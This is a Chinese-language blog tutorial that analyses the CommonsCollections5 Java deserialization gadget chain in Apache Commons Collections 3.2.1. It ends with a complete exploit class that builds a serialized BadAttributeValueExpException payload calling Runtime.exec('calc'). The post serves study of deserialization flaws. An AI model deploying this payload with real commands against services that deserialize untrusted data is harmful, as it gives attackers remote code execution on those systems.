WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

CommonsCollection5

准备用这条链来入门JAVA反序列化

0x01 环境搭建

IDEA 2021.2.1

创建Maven项目

然后就是Next写项目名称啥的这里就不贴图了,不同IDEA版本可能有区别

添加依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>cc</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

这样基本就没问题了

后续准备分析另外的链子再添加依赖就行了

0x02 入门反序列化的一些个人理解

先学了PHP的反序列化再回来学JAVA的,如果准备学的师傅们觉得看JAVA反序列化看不懂很复杂,也可以用PHP的来入手

前提是JAVA基础已经了解了,反射这些也都学过了,可是试试用php反序列化找找感觉

我也是了解过后看JAVA反序列化还是有点不明白,学了php再回来看感觉就好理解一些了

就像PHP的反序列化入口一般是__destruct

JAVA反序列化的入口是readObject()方法

所以选择能用的类需要满足2个条件

  1. 类必须实现Serializable接口
  2. 类里需要有readObject()方法

PHP中的属性可以在payload的构造函数中修改

PHP的属性在类中如果指定了类型,在写payload也可以改成别的类型,这可能和PHP弱类型有关

JAVA的属性需要用反射修改,用反射修改的类型,必须和属性是相同的类型,不然报错修改不成功

上面是一些感觉有差异的地方

下面开始学习CC5这条链

0x03 CommonsCollection5利用过程

先写下序列化和反序列化的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
//payload

serialize(val);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
//写反序列化二进制到ser.bin
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
//读反序列化文件内容,恢复反序列化的类调用readObject
Object obj = ois.readObject();
return obj;
}
//这里过程挺复杂的没有深究,都是个人的理解,如果有问题欢迎各位师傅指导
//学到后面可会去看下过程,这里就简单理解调用类的readObject方法了
}

下面是CC5的调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections
*/

上面是从ysoserial复制下来的调用链

ObjectInputStream.readObject()这行是最开始的不用管

我个人理解就是反序列化出来的类附到ObjectInputStream后调用readObject()

可以看到最先调用的是BadAttributeValueExpException中的readObject()方法

readObject第二行取了val属性放valObj里面,判断一些基础的类是不是该类的父类

这里的gf.get问就是不会先不看了,知道取val到valObj里面就行了

这里是System.getSecurityManager() == null判断过了,不知道这是啥用的,和漏洞关系好像不大也不看了

然后就会调用valObj的toString方法,这里就要知道valObj是什么类了

根据gadget可以知道调用的是TiedMapEntry类的toString方法,找过去发现是这样的

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

再看getValue()方法

1
2
3
public Object getValue() {
return map.get(key);
}

发现调用了get方法

这里map和key都是属性,可以使用反射修改

来看gadget知道调用的是LazyMap的get方法

检查map里是否存在上面传来的键值key,如果没有往下走到transform触发命令执行

这里的map是LazyMap的属性,严格来说是AbstractMapDecorator抽象类的属性

和上面的map是不同的,上面的map是TiedMapEntry的属性

这里的factory也是属性是可控的,到这里先停下把上面整理下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
public static void main(String[] args) throws Exception {


Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
//这行先不管,因为实例化LazpMap的时候第二个参数必须是Transformer所以写这么一行
Map innerMap = new HashMap();
//创建一个空的HashMap

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//实例化LazyMap,这里不用new是因为LazpMap的构造函数是protected,不能直接new,类里面写了decorate方法来实例化
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
//实例化TiedMapEntry,TiedMapEntry的构造函数如下
/*
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
super()就不去看了
下面就是把传进来的参数赋值到属性
key可以所以传,因为该类里面需要用lazyMap的get方法,所以这里map属性为lazyMap
*/
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
//反序列化入口,里面的readObject调用toString()
Class valClass = val.getClass();
Field valField = valClass.getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, entry);
//反射的知识,上面说过取了val的值放入valObj,然后valObj调用toString(),所以这里的val需要为tiedMapEntry,用反射修改
serialize(badAttributeValueExpException);
//序列化生成二进制
unserialize("ser.bin");
//反序列化
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

可以在lazyMap的get方法里打断点

可以看到map里面是空的,可以走进判断

这里要注意一个问题,要是前面还有断点,比如toString(),getValue()在这些函数里面打断点,idea的debug功能会调用类的toString()方法导致map里面出现键值对走不进判断,如果前面的过程都看明白了,可以把断点取消掉,点一个到get就不会有这个问题了

还有一点如果在调用栈里面点了之前的函数也会导致map里面出现数据,这也是需要注意的

这问题困扰了挺久的,后面找大哥问了后找到原因了

这里前半部分已经分析好了,到下面进进出出的这块了

其实下面那块就是一个for循环

看到gadget的ChainedTransformer.transform()

知道factory需要改为ChainedTransformer,这里是可以改的,因为factory是Transformer类型的

来看一下ChainedTransformer的transform方法

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

这里的iTransformers也是属性,可以通过反射修改

先来看看exp修改iTransformers的内容然后一条条看作用

transformers就是iTransformers要修改成的值

在ChainedTransformer.transform方法可以看到会循环取iTransformers里面的类然后再调用该类的transform,赋值到object,然后再把object当作参数传入

在exp里面可以看到第一个是ConstantTransformer类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//new ConstantTransformer(Runtime.class)

//构造函数
public ConstantTransformer(Object constantToReturn) {
super();
//调用父类构造函数不管
iConstant = constantToReturn;
//将实例化的参数存到iConstant,这里就是将Runtime.class存到iConstant
}

//transform方法
public Object transform(Object input) {
return iConstant;
//直接返回iConstant,也就是返回Runtime.class
}

所以第一条调用完object就是Runtime.class

接下来看第二条

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

//构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
//同样的是把实例化类时的参数存到属性中
}
//transform方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
//这里使用了反射调用方法,参数都可控
//第二行传过来的参数是这样的
/*
iMethodName = "getMethod"
iParamTypes = new Class[] {String.class, Class[].class }
iArgs = new Object[] {"getRuntime", new Class[0] }
input = Runtime.class
*/
Class cls = input.getClass();
//Runtime.class.getClass()返回Class的Class类
Method method = cls.getMethod(iMethodName, iParamTypes);
//得到Class的getMethod方法
return method.invoke(input, iArgs);
//调用getMethod方法,实际就是method.invoke(Runtime.class, new Object[] {"getRuntime", new Class[0] });
//得到getRuntime方法的Method
//不要忘了Runtime.class本质上还是一个Class对象,填在invoke的第一个参数没有问题
//因为前面没转过弯来,一直想input不是Runtime对象吗怎么调用getMethod方法,有点绕
//只要看这三行就好下面的异常可以不用看
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
//这一步结束object为getRuntime方法的Method对象

下面看第三步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//同样是InvokerTransformer类就不全贴了
//此时input为为getRuntime方法的Method对象 `
Class cls = input.getClass();
//cls为Method的Class对象
//iMethodName="invoke", iParamTypes=new Class[] {Object.class, Object[].class }
//这里的cls为Method类的Class
Method method = cls.getMethod(iMethodName, iParamTypes);
//method为invoke方法的Method对象
return method.invoke(input, iArgs);
//iArgs=new Object[] {null, new Object[0] }
//这里实在有点绕,其实执行的是input.invoke(null, new Object[0])
//到这步object是Runtime对象


//使用Runtime类的getRuntime得到一个Runtime对象
//因为Runtime类的构造方法是私有的,不能直接实例化,需要调用类的getRuntime来实例化
//getRuntime是静态的可以直接使用
//因为上面这些原因,所以要一步步下来得到Runtime对象
//还有Runtime不能反序列化,new ConstantTransformer(Runtime.getRuntime())这样写是不行的

第四步

1
2
3
4
5
6
7
8
9
//new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
//input为Runtime对象
Class cls = input.getClass();
//Runtime的Class
Method method = cls.getMethod(iMethodName, iParamTypes);
//得到Runtime类的exec方法
return method.invoke(input, iArgs);
//使用exec执行calc弹出计算器
//到这里就全部完成了

第五步

1
//new ConstantTransformer(1)

这是ysoserial上面复制下来的,看到大佬说可能是为了稳定啥的

真要打的时候不写也没有问题

这就是CC5的全部过程,下面将上下的exp拼下

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }),
new ConstantTransformer(1)
};
//执行命令的Transformer数组
// Transformer transformerChain = new ChainedTransformer(transformers);
//生成ChainedTransformer类把Transformer数组当作参数传进去
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
//这里先写一个不执行命令的transformerChain后面使用反射修改,这样在序列化之前就不会触发了
//下面的都在上面解释过了
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Class valClass = val.getClass();
Field valField = valClass.getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, entry);

Class transformerChainClass = transformerChain.getClass();
Field transformerChainClassField = transformerChainClass.getDeclaredField("iTransformers");
transformerChainClassField.setAccessible(true);
transformerChainClassField.set(transformerChain, transformers);
//这段代码的作用是用来防止在序列化的时候触发漏洞的,可以在前面生成ChainedTransformer的时候传一个不能执行命令的数组
//到这里通过反射将iTransformers修改为可以执行命令的数组,当然CC5在正常情况下不会在序列化的时候触发
//当然CC5在正常情况下不会在序列化的时候触发

serialize(val);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

最后该链需要在8u76以上的版本

因为小于该版本BadAttributeValueExpException没有readObject方法不支持序列化